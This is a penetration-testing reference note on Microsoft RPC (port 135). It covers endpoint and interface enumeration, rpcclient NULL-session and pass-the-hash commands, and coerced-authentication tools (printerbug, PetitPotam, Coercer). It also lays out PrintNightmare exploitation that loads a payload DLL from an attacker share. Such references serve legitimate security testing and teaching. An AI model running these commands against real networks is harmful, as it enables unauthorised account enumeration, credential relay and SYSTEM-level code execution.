135 - MSRPC

Overview

The Microsoft Remote Procedure Call (MSRPC) protocol is a modified and proprietary version of the Remote Procedure Call (RPC). Similarly to the RPC protocol, the MSRPC protocol implements a client-server model, in order to allow one program, the RCP client, to interact with another program, the RPC server, alternatively denominated service. The client and server may be running on the same system or on two distinct and remote systems.

Among others, the proprietary Microsoft Distributed Component Object Model (DCOM) technology, used for communication between Microsoft software components - Component Object Model (COM) objects - on networked computers, extensively uses the MSRPC protocol as the underlying communication protocol.

RPC services listen for remote procedure call requests over one, or more, protocol-specific endpoints, which can either be:

• well-known endpoints, pre-assigned to a stable address for a particular RPC service

• dynamic endpoints, registered at runtime to the RPC Endpoint Mapper (RpcEptMapper) service by services and programs which need to expose a RPC service

The RPC endpoint structure depends on the underlying network services / transport layer protocol in use. Microsoft defines a number of RPC protocol sequence strings, that correspond to valid combinations of a RPC protocol, a network layer protocol, and a transport layer protocol:

• ncalrpc: local RPC, used for local communication between processes

• ncacn_ip_tcp and ncacn_ip_udp: RPC directly over the TCP and UDP transport layer protocols on the IP protocol

• ncacn_np: RPC over SMB named pipes (usually on TCP ports 139 or 445)

• ncacn_http: RCP over the HTTP protocol

• ncacn_nb_tcp : RPC over NetBIOS (usually on TCP port 135)

• [...]

Based on the RPC protocol sequence, a RPC endpoint may take the following format:

• ncalrpc:[<APPLICATION_NAME>]

• ncacn_np:<IP | HOSTNAME>[\pipe\<NAMED_PIPE>] / ncacn_np:\\<IP | HOSTNAME>[\pipe\<NAMED_PIPE>]

• ncacn_ip_tcp:<IP | HOSTNAME>[<TCP_PORT>]

• ncacn_ip_udp:<IP | HOSTNAME>[<UDP_PORT>]

• ncacn_http:<IP | HOSTNAME>[<HTTP_PORT>]

Additionally, the RPC service register one, or more, RPC interfaces. An interface corresponds to callable operations, that are offered by the RPC service to the RPC clients, and is composed of at least an identifier UUID and a version number. The list of interfaces offered by a RPC service is stored in the RPC_IF_ID_VECTOR structure which contain an array of pointers to interface identifiers, known as IfId.

RPC interfaces may also optionally specify the well-known endpoint(s) on which RPC services that export the interface will listen. Otherwise, RPC interfaces can be ultimately linked dynamic endpoints through a binding process that occurs at run time.

Whenever accessing a RPC service, RPC clients rely on the RPC Endpoint Mapper service to tell them which dynamic port, or ports, were assigned to the requested RPC service. The RPC Endpoint Mapper service, running on RPC servers as NT AUTHORITY\NetworkService, is accessible as an RPC service at the following well-known endpoints:

• ncacn_ip_tcp:<IP | HOSTNAME>[135] / ncacn_ip_udp:<IP | HOSTNAME>[135]

• ncacn_np:<IP | HOSTNAME>[\pipe\epmapper] (TCP ports 139 or 445)

• ncacn_http:<IP | HOSTNAME>[593]

Notable Windows interfaces

Some interface UUID have been reserved by Microsoft and can identify RPC interfaces associated to known Windows components. The unauthenticated enumeration of exposed RPC interfaces can thus be used to fingerprint a machine installed services.

UUID	Interface	Description
E1AF8308-5D1F-11C9-91A4-08002B14A0FA	MS-RPC-EPM	RPC Endpoint Mapper (RpcEptMapper) service interface.
12345778-1234-ABCD-EF00-0123456789AC	SAMR	Security Account Manager (SAM) interface, that exposes the account database, both for local and remote domains. May be used to enumerate local and domain security principals (users and groups).
12345778-1234-ABCD-EF00-0123456789AB	LSARPC	The Local Security Authority (LSA) interface, used to manage various machine and domain security policies, such as the rights and privileges that security principals have on the machine as well as the trust relationships between domains and forests.
3919286A-B10C-11D0-9BA8-00C04FD92EF5	LSARPC-DS	The LSA Directory Services Setup (DS) interface, that exposes domain-related computer state and basic domain configuration information
12345678-1234-ABCD-EF00-0123456789AB	MS-RPRN	The Print System Remote Protocol interface, which defines the communication of print job processing and print system management between a print client and a print server. Can be leveraged by any authenticated user to force the machine exposing the interface to connect, with its machine account, to a remote system.
1FF70682-0A51-30E8-076D-740BE8CEE98B 378E52B0-C0A9-11CF-822D-00AA0051E40F 86D35949-83C9-4044-B424-DB363231FD0C	ATSVC	The Task Scheduler interface, that exposes scheduled tasks related functions. May be used to list existing tasks, query a configured task status, and configure or register tasks.
367ABB81-9844-35F1-AD32-98F038001003	SVCCTL	The Service Control Manager (SCM) interface, that enables remote configuration and control of Windows services.
4B324FC8-1670-01D3-1278-5A47BF6EE188	SRVSVC	The Server Service interface, used for network shares related operations on the machine.
338CD001-2244-31F1-AAAA-900038001003	MSWINREG	The Windows Remote Registry interface, used for remotely managing the Windows registry.
82273FDC-E32A-18C3-3F78-827929DC23EA F6BEAFF7-1E19-4FBB-9F8F-B89E2018337C	EventLog EventLog version 6	The EventLog interface, exposes functions to interact with the Windows event logs, such as retrieving reading events and general information, such as number of records, oldest records, etc, for a specified log hive.
50ABC2A4-574D-40B3-9D66-EE4FD5FBA076	DNSSERVER	The Domain Name Service (DNS) Server Management interface, exposed on Windows machines running DNS services, in order to allow remote access and administration capacities on the DNS component.
2F59A331-BF7D-48CB-9E5C-7C090D76E8B8 5CA4A760-EBB1-11CF-8611-00A0245420ED	Terminal Server Service Terminal Services remote management	Terminal Server Service (termsrv.exe) related interfaces, indicating that the terminal services have been deployed on the machine.
3F99B900-4D87-101B-99B7-AA0004007F07	MS-SQL-RPC	Microsoft SQL Server related RPC interface.
82AD4280-036B-11CF-972C-00AA006887B0	Inetinfo MS-IIS-SMTP	The Internet Information Services (IIS) Inetinfo interface, used to remotely manage IIS servers.
E3514235-4B06-11D1-AB04-00C04FC2DCD2 7C44D7D4-31D5-424C-BD5E-2B3E1F323D22	MS-DRSR DRSUAPI MS-DRSR DSAOP	Microsoft Active Directory Replication Service, used for Active Directory information replication between domain controllers.
1A190310-BB9C-11CD-90F8-00AA00466520	MS-EXCHANGE-DATABASE	The Microsoft Exchange Database Service interface, used for Exchange related operations.
D3FBB514-0E3B-11CB-8FAD-08002B1D29C3 D6D70EF0-0E3B-11CB-ACC3-08002B1D29C3 D6D70EF0-0E3B-11CB-ACC3-08002B1D29C4	RpcLocator	The RpcLocator service interface. As the service is disabled by default on Windows Server 2008 / Windows Vista machines, and later, the exposition of the RpcLocator interface may indicate that the machine is using an end-of-support Windows operating system.

Network scan and RPC services enumeration

On Microsoft Windows, RPC services are usually exposed on the default dynamic ports range:

• For Windows Server 2008 / Windows Vista, and later: from ports 49152 through 65535

• For Windows 2000, Windows XP, and Windows Server 2003: from ports 1025 through 5000

Note that a RPC service may also be registered as a dynamic endpoints on a pre-defined port, among all available ports 1024-65355.

Nmap can be used to scan the network for exposed RPC Endpoint Mapper RPC services:

nmap -v -p 135,593 -sV -oA nmap_RpcEptMapper <RANGE | CIDR>

Through the RPC Endpoint Mapper RPC service, the details about all the RPC services running on the host, both as well-known endpoints or dynamic endpoints, can be enumerated. The Nmap's msrpc-enum NSE script, the Windows rpctools' rpcdump.exe utility and the Impacket's rpcdump.py Python script can be used to do so:

rpcdump.py <IP | HOSTNAME>
rpcdump.py -p <RPC_EPTMAPPER_PORT> <IP | HOSTNAME>

rpcdump.exe <IP | HOSTNAME>
# RPC_PROTCOL_SEQUENCE: ncacn_ip_tcp, ncadg_ip_udp, ncacn_np, ncacn_nb_tcp, ncacn_http, etc.
rpcdump.exe -p <RPC_PROTCOL_SEQUENCE> <IP | HOSTNAME>

nmap -v -p 135 -sV --script=msrpc-enum <IP | HOSTNAME | RANGE | CIDR>

If the RPC Endpoint Mapper RPC service is not available, or to display interfaces information about RPC services that are not registered to the host RPC Endpoint Mapper RPC service, the metasploit's dcerpc/tcp_dcerpc_auditor module and the rpctools' ifids can be used:

msf> use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor

# RPC_PROTCOL_SEQUENCE: ncacn_ip_tcp, ncadg_ip_udp, ncacn_np, ncacn_nb_tcp, ncacn_http, etc.
ifids <RPC_EPTMAPPER_PORT> -p <PORT> <IP | HOSTNAME>

Enumeration from SAMR, LSARPC, LSARPC-DS, and NETLOGON RPC services

As previously mentioned, the SAMR, LSARPC, LSARPC-DS, and NETLOGON RPC services may be used to enumerate and manage local or domain users and groups, retrieve basic domain information and Active Directory trusts, as well as assign privilege(s) on the machine to specified user(s).

While access to these RPC services should normally require a valid set of credentials, misconfiguration may allow unauthenticated binding, known as NULL session. If a NULL session is possible on a domain controller, the enumeration of all the security principals in the domain, as well as the domain password policies, may be possible. As NULL session corresponds to a Windows NT AUTHORITY\ANONYMOUS LOGON, any privileged operation, such as user and group administration, should however be restricted.

Such NULL session may be established on Active Directory Domain controllers:

• if the Anonymous (SID: S-1-5-7) domain group is member of the Pre-Windows 2000 Compatible Access / Accès compatible pré-Windows 2000 domain group.

• or if the HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\EveryoneIncludesAnonymous registry key is set to 1 on the Domain Controllers. The key may notably set through the Default Domain Controllers Policy GPO (UID: {6AC1786C-016F-11D2-945F-00C04fB984F9}).

Manual query

On Linux, the rpcclient utility implements a number of commands to interact with the SAMR, LSARPC, LSARPC-DS, and NETLOGON RPC services interfaces.

# NULL session
rpcclient -U "" -N <IP | HOSTNAME>

# Authenticated session - with password
rpcclient -U "" <IP | HOSTNAME>

# Authenticated session - through Pass-the-Hash
rpcclient -U "" --pw-nt-hash <IP | HOSTNAME>

the rpcclient utility implements, among others, the following useful commands:

Command	RPC service	Description
querydominfo	SAMR	Query basic domain information, such as the domain name, number of users and groups. Return AD domain information on a DC, the machine local configuration information otherwise.
lsaquery	LSARPC	Return the domain name and domain SID for machine integrated in an Active Director forest.
enumdomusers	SAMR	Enumerate users. Returns the AD domain users on a DC, the machine local users otherwise.
querydispinfo	SAMR	Enumerate users and their description. Enumerates the AD domain users on a DC, the machine local users otherwise.
enumdomgroups	SAMR	Enumerate groups. Returns the AD domain groups on a DC, the machine local groups otherwise.
samlookupnames domain <USERNAME | USERNAMES_LIST>	SAMR	Retries the RID of the domain, if the machine is a DC, or local user RID in HEX format (needed for queryuser).
queryuser <500 | RID> queryuser <0x1f4 | RID_HEX>	SAMR	Query the specified user (using its RID or RID encoded in hexadecimal) info. Query information of domain users on a DC, of the machine local users otherwise.
lookupnames <USERNAME>	LSARPC	Retrieve the specified domain user SID for machines integrated to an Active Director forest.
querygroup <RID>	SAMR	Query the specified group (HEX RID) info. Query information of domain groups on a DC, of the machine local users otherwise.
queryusergroups <RID>	SAMR	Query the specified user (HEX RID) groups. Query information of domain users on a DC, of the machine local users otherwise.
querygroupmem <RID>	SAMR	Query the specified group (HEX RID) membership. Query information of domain groups on a DC, of the machine local users otherwise.
getdompwinfo	SAMR	Retrieve password policy information. Retrieve the domain password policy on a DC, the machine local otherwise.
getusrdompwinfo <RID>	SAMR	Retrieve the specified user password policy. Query information of domain users on a DC, of the machine local users otherwise.
createdomuser <USERNAME>	SAMR	Create a domain, if the machine is a DC, or local user.
createdomgroup <GROUPNAME>	SAMR	Create a domain, if the machine is a DC, or local group.
deletedomuser <USERNAME>	SAMR	Delete a domain, if the machine is a DC, or local, user.
deletedomgroup <GROUPNAME>	SAMR	Delete a domain, if the machine is a DC, or local group.
chgpasswd <USERNAME> <OLD_PASS> <NEW_PASS>	SAMR	Change the specified domain, if the machine is a DC, or local user password.
dsroledominfo	LSARPC-DS	Require Directory Service to be running on the machine. Can be used to determine if the remote machine is a DC.
dsenumdomtrusts	NETLOGON	Enumerate the trusted domains of the domain the machine is integrated to.
lookupdomain <DOMAIN | HOSTNAME>	SAMR	Retrieve the domain or machine SID.
enumprivs	LSARPC	Enumerate the privileges of the authenticated user on the machine.
lsaenumacctrights <SID>	LSARPC	Enumerate the privileges of a, domain or local, security principal on the machine.
lsaaddacctrights <SID> <RIGHT | RIGHTS_LIST>	LSARPC	Assign a privilege to a, domain or local, security principal on the machine.
lsaremoveacctrights <SID> <RIGHT | RIGHTS_LIST>	LSARPC	Remove a privilege to a, domain or local, security principal on the machine.

Automated enumeration

For a more automated approach, the rpctools' walksam.exe Windows utility and the impacket's samrdump.py Python script can be used to dump information about each user found in the SAM database, which will contain domain accounts information on a domain controller, local accounts information otherwise.

Additionally, the (outdated) enum4linux Perl and (maintained) enum4linux-ng.py Python scripts can be used to automatically enumerate through MSRPC calls and NetBIOS and LDAP queries (for Domain Controllers). enum4linux-ng.py will notably attempt to enumerate users, groups, group's memberships, password policy information, shares, and, against Domain Controllers, naming context information.

# -A: all simple enumeration including nmblookup (-U -G -S -P -O -N -I -L).
# -R: users enumeration via RID cycling through MSRPC calls.
enum4linux-ng.py -A -R <HOSTNAME | IP>
enum4linux-ng.py -u "<USERNAME>" -pw "<PASSWORD>" -A -R <HOSTNAME | IP>

# walksam.exe uses the current security context by default, and does provide a mechanism to specify an user

# To emulate a NULL session
runas /NetOnly /user:"DO_NOT_MATTER" cmd.exe
# To execute walksam.exe as the specified user
runas /NetOnly /user:"<WORKGROUP | DOMAIN>\<USERNAME>" cmd.exe

walksam.exe <IP | HOSTNAME>

python samrdump.py <IP | HOSTNAME>
python samrdump.py [<DOMAIN>/]<USERNAME>:<PASSWORD>@<IP | HOSTNAME>

Print Spooler service

Print Spooler enumeration

PingCastle's spooler module, Impacket's rpcdump Python script, and the Get-SpoolStatus.ps1 PowerShell script can be used to enumerate the servers exposing the MS-RPRN MSRPC interface:

# Locally determine / query the Spooler service status.
gci \\127.0.0.1\pipe\spoolss
sc query Spooler
sc qc Spooler

# Remotely determine / query the Spooler service status.
gci \\<HOSTNAME | IP>\pipe\spoolss

Get-SpoolStatus -ComputerName <IP | HOSTNAME>

rpcdump.py '<DOMAIN>/<USERNAME>:<PASSWORD>@<IP | HOSTNAME> | grep -i "MS-RPRN"

# Automates the enumeration of the computers in the domain and conducts the check on all the enumerated computers.
# Refer to the Active Directory - Automatic scanners note for more information on how to use PingCastle.
PingCastle.exe --scanner spooler
# Enumerates and scan only the Domain Controllers.
# The Domain Controllers of another forest can be scanned using the "--server" option.
PingCastle.exe --scanner spooler --scmode-dc
PingCastle.exe --scanner spooler --scmode-dc --server <TARGET_FOREST_DC_FQDN>

MS-RPRN "printer bug"

The RpcRemoteFindFirstPrinterChangeNotification(Ex) function of the Print System Remote Protocol, exposed on the MS-RPRN MSRPC interface, can be called by any domain user, member of Authenticated Users, to force the machine running the Print Spooler service to authenticate, through NTLM or Kerberos, to the specified remote system. The authentication is conducted by the machine using its machine account.

The authentication received on a controlled system can be captured and exploited in a number of ways:

• If the controlled service account (user or computer account) receiving the authentication is domain-joined and trusted for Kerberos unconstrained delegation, the Kerberos service ticket, received from the targeted machine as part of a Kerberos authentication, will contain a copy of the machine Ticket-Granting Ticket (TGT). This TGT can be extracted from the LSASS process of the controlled machine, and further used to authenticate to any domain resources as the targeted machine account. This can notably be leveraged to jump External and CrossForest trusts allowing TGT delegation and with SID Filtering enabled. For more information on the attack, refer to the [ActiveDirectory] Kerberos delegation and [ActiveDirectory] Trusts hopping notes.

• If the machine account of the machine exposing the SpoolerService is member of the local Administrators group of remote systems, the captured NTLM authentication can be relayed to these systems. For more information, refer to the [ActiveDirectory] NTLM relaying note. As a machine account password is robust, 120 UTF16 characters, and regularly rotated, 30 days by default, the Net-NTLM hash cannot directly be cracked offline.

• If the machine exposing the SpoolerService has its LMCompatibilityLevel attribute set to 2 or lower (which is usually the case for environment with Windows XP / Windows server 2003 operating systems), the authentication can be downgraded to use the NetNTLMv1 protocol. NetNTLMv1 hashes can be cracked in order to retrieve the machine account NTLM hash, with the possibility of cracking NetNTLMv1 hashes obtained with the challenge 1122334455667788 through a comprehensive rainbow table usable for free on crack.sh. The machine account NTLM hash can then be used to generate a silver ticket for the HOST service of the machine allowing for remote code execution. Refer to the ActiveDirectory - NTLM capture and relay and ActiveDirectory - Kerberos Silver Tickets notes for more information on the attack.

The printerbug.py Python script, of the krbrelayx toolkit, can be used to call the SpoolerService MSRPC functions and trigger the authentication callback.

# In order to trigger a Kerberos authentication, the listening host <LHOST_HOSTNAME> should be associated to a Service Principal Names (SPN) in the domain and a valid DNS record
# For more information, refer to the `[ActiveDirectory] Kerberos unconstrained delegation` note

SpoolSample.exe <TARGET_IP | TARGET_HOSTNAME> <LHOST_HOSTNAME>

printerbug.py [<DOMAIN>/]<USERNAME>[:<PASSWORD>]@<TARGET_IP | TARGET_HOSTNAME> <LHOST_HOSTNAME>
printerbug.py -hashes <LMHASH:NTHASH> [<DOMAIN>/]<USERNAME>@<TARGET_IP | TARGET_HOSTNAME> <LHOST_HOSTNAME>

PrintNightmare (CVE-2021-1675)

On unpatched systems with the Print Spooler service running and exposed, the PrintNightmare vulnerability (CVE-2021-1675) can be leveraged for remote code execution. The PrintNightmare vulnerability basically result in the execution of an arbitrary DLL under NT AUTHORITY\SYSTEM privileges on the remote system.

As of July 2021, a number of parameters determine if the targeted system is vulnerable to the PrintNightmare vulnerability:

• Mandatory exposure of the Print Spooler service.

• Application of the related security patches.

• Even if the remote system is patched, it may still be vulnerable if either:

  • The targeted system is a Domain Controller and the domain principal used to make the RPC calls is a member of the Pre-Win 2000 compatibility group.

  • the HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall registry key is set to 0x1 on the remote system.

  • the UAC mechanism is turned off on the remote system (EnableLUA set to 0x0).

The ItWasAllADream Python script (OffensivePythonPipeline's standalone binary) can be used to scan the network for systems vulnerable to the PrintNightmare vulnerability:

itwasalladream -d <WORKGROUP | DOMAIN> -u <USERNAME> [-p <PASSWORD>] <IP/32 | SUBNET_CIDR>

The vulnerability lies in the fact that unprivileged users may call the MS-RPRN's RpcAddPrinterDriverEx function, normally used to install a printer driver on the system. This result in the execution of the provided arbitrary DLL (as the printer driver) by the Print Spooler service under NT AUTHORITY\SYSTEM privileges.

The following struct corresponds to a printer driver as passed as parameter to the RpcAddPrinterDriverEx function:

typedef struct _DRIVER_INFO_2 {
   DWORD cVersion;
   [string] wchar_t* pName;
   [string] wchar_t* pEnvironment;
   [string] wchar_t* pDriverPath; # Path to the driver file.
   [string] wchar_t* pDataFile;   # Path to the driver data file.
   [string] wchar_t* pConfigFile; # Path to the driver config configuration file.
 } DRIVER_INFO_2;

While restriction exist on the pDriverPath and pDataFile attributes, to verify that the specified paths are not UNC paths (network resources), the pConfigFile attribute is exempted from such verification. A first call to the RpcAddPrinterDriverEx function with the payload DLL (hosted on a network share) passed as pConfigFile will result in the DLL file being copied on the remote system (in the %SYSTEMROOT%\system32\spool\drivers\x64\3\ folder). A subsequent call to the RpcAddPrinterDriverEx function with the payload DLL passed, in its copied path, as the pDriverPath will result in execution of the DLL by the Print Spooler service.

The nightmare-dll DLL creates a local user (using the Win32's NetUserAdd API) and add it to the local Administrators group (using the Win32's NetLocalGroupAddMembers API). It may be used as a DLL template for PrintNightmare exploitation. Alternatively, a payload DLL may be generated using, for example, msfvenom.

The CVE-2021-1675.py Python script (OffensivePythonPipeline's standalone binary) or the SharpPrintNightmare C# implementation can be used to exploit the PrintNightmare vulnerability:

Note that a network share allowing anonymous access and hosting the payload DLL must first be configured. Refer to the [General] File Transfer note (SAMBA shares or SMB shares sections) for a procedure on how to create such share.

CVE-2021-1675.py <DOMAIN | WORKGROUP>/<USERNAME>:<PASSWORD>@<TARGET_HOSTNAME | TARGET_IP> '\\<IP>\<SHARE_NAME>>\<DLL>'

# Uses the current security context to authenticate to the remote system.
SharpPrintNightmare.exe '\\<IP>\<SHARE_NAME>>\<DLL>' '\\<TARGET_HOSTNAME | TARGET_IP>'

# Uses the specified credentials for authentication.
SharpPrintNightmare.exe '\\<IP>\<SHARE_NAME>>\<DLL>' '\\<TARGET_HOSTNAME | TARGET_IP>' <DOMAIN | WORKGROUP> <USERNAME> <PASSWORD>

MS-EFSRPC (Encrypting File System Remote (EFSRPC) Protocol - PetitPotam

Similarly to functions exposed by the MS-RPRN MSRPC interface, a number of functions of the MS-EFSRPC MSRPC interface can be abused to coerce hosts to authenticate to an arbitrary (and possibly controlled) machine. The binding to the MS-EFSRPC MSRPC interface can be done over the EFSRPC named pipe (\PIPE\efsrpc) as well as a number of other named pipes (LSARPC / \PIPE\lsarpc, MS-NRPC / \PIPE\netlogon, MS-SAMR / \PIPE\samr, and \PIPE\lsass). The binding and calling of MS-EFSRPC functions can be done with out authentication against unpatched Domain Controllers.

The coerced authentication will be done by the machine account of the targeted machine, and thus the exploit primitives detailed in the MS-RPRN "printer bug" section above apply. For more information on relaying NTLM authentication, refer to the [ActiveDirectory] NTLM capture and relay note.

The following functions are implemented in the PetitPotam exploit to coerce authentications:

• EfsRpcOpenFileRaw (patch to prevent coerced authentication available)

• EfsRpcEncryptFileSrv

• EfsRpcDecryptFileSrv

• EfsRpcQueryUsersOnFile

• EfsRpcQueryRecoveryAgents

• EfsRpcRemoveUsersFromFile

• EfsRpcAddUsersToFile

• EfsRpcFileKeyInfo

• EfsRpcDuplicateEncryptionInfoFile

• EfsRpcAddUsersToFileEx

• EfsRpcFileKeyInfoEx

• EfsRpcGetEncryptedFileMetadata

• EfsRpcSetEncryptedFileMetadata

• EfsRpcEncryptFileExSrv

# Attempt with out authentication.
PetitPotam.py <LISTENING_HOST> <TARGETED_HOST>

# Authenticated attempt, using username:password, username:NTHash, or Kerberos authentication.
PetitPotam.py -d '<DOMAIN>' -u '<USERNAME>' [-p '<PASSWORD>' | -hashes '<[LMHASH]:NTHASH>'] <LISTENING_HOST> <TARGETED_HOST>
PetitPotam.py -d '<DOMAIN>' -u '<USERNAME>' -k -no-pass <LISTENING_HOST> <TARGETED_HOST>

# Specify the named pipe to use for binding. Defaults to lsarpc.
PetitPotam.py -pipe <efsr | lsarpc | samr | netlogon | lsass> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' <LISTENING_HOST> <TARGETED_HOST>

Automated coercing using various techniques with Coercer

The Coercer Python utility can be used to coerce SMB authentication using a number of functions on different RPC interfaces:

• MS-RPRN "printer bug"

• MS-EFSR PetitPotam

• MS-FSRVP ShadowCoerce

• MS-DFSNM DFSCoerce

coercer.py -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' -l <LISTENER_IP | LISTENER_HOSTNAME> [-t <TARGET_IP | TARGET_HOSTNAME> | -f <TARGETS_FILE>]

---

References

https://pubs.opengroup.org/onlinepubs/9629399/chap2.htm

Network Security Assessment: Know Your Network

https://publications.opengroup.org/c706

https://book.hacktricks.xyz/pentesting/135-penstesting-wrpc

https://actes.sstic.org/SSTIC06/Dissection_RPC_Windows/SSTIC06-article-Pouvesle-Dissection_RPC_Windows.pdf

http://etutorials.org/Networking/network+security+assessment/Chapter+9.+Assessing+Windows+Networking+Services/9.2+Microsoft+RPC+Services/

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/cca27429-5689-4a16-b2b4-9325d93e4ba2

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/290c38b1-92fe-4229-91e6-4fc376610c15

https://tools.ietf.org/html/rfc1831

https://redmondmag.com/articles/2004/02/01/the-magic-of-rpc-over-http.aspx

https://www.windows-security.org/windows-service/rpc-endpoint-mapper

https://support.microsoft.com/en-us/help/832017/service-overview-and-network-port-requirements-for-windows

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/96952411-1d17-4fe4-879c-d5b48a264314

https://kb.juniper.net/InfoCenter/index?page=content&id=KB12057&pmv=print&actp=&searchid=&type=currentpaging

https://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/

https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/

https://beta.hackndo.com/constrained-unconstrained-delegation/

https://docs.microsoft.com/en-us/windows/win32/adschema/a-useraccountcontrol?redirectedfrom=MSDN

https://github.com/afwu/PrintNightmare

https://github.com/cube0x0/CVE-2021-1675

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/39bbfc30-8768-4cd4-9930-434857e2c2a2

https://securelist.com/quick-look-at-cve-2021-1675-cve-2021-34527-aka-printnightmare/103123/

https://vk9-sec.com/printnightmare-cve-2021-1675-remote-code-execution-in-windows-spooler-service/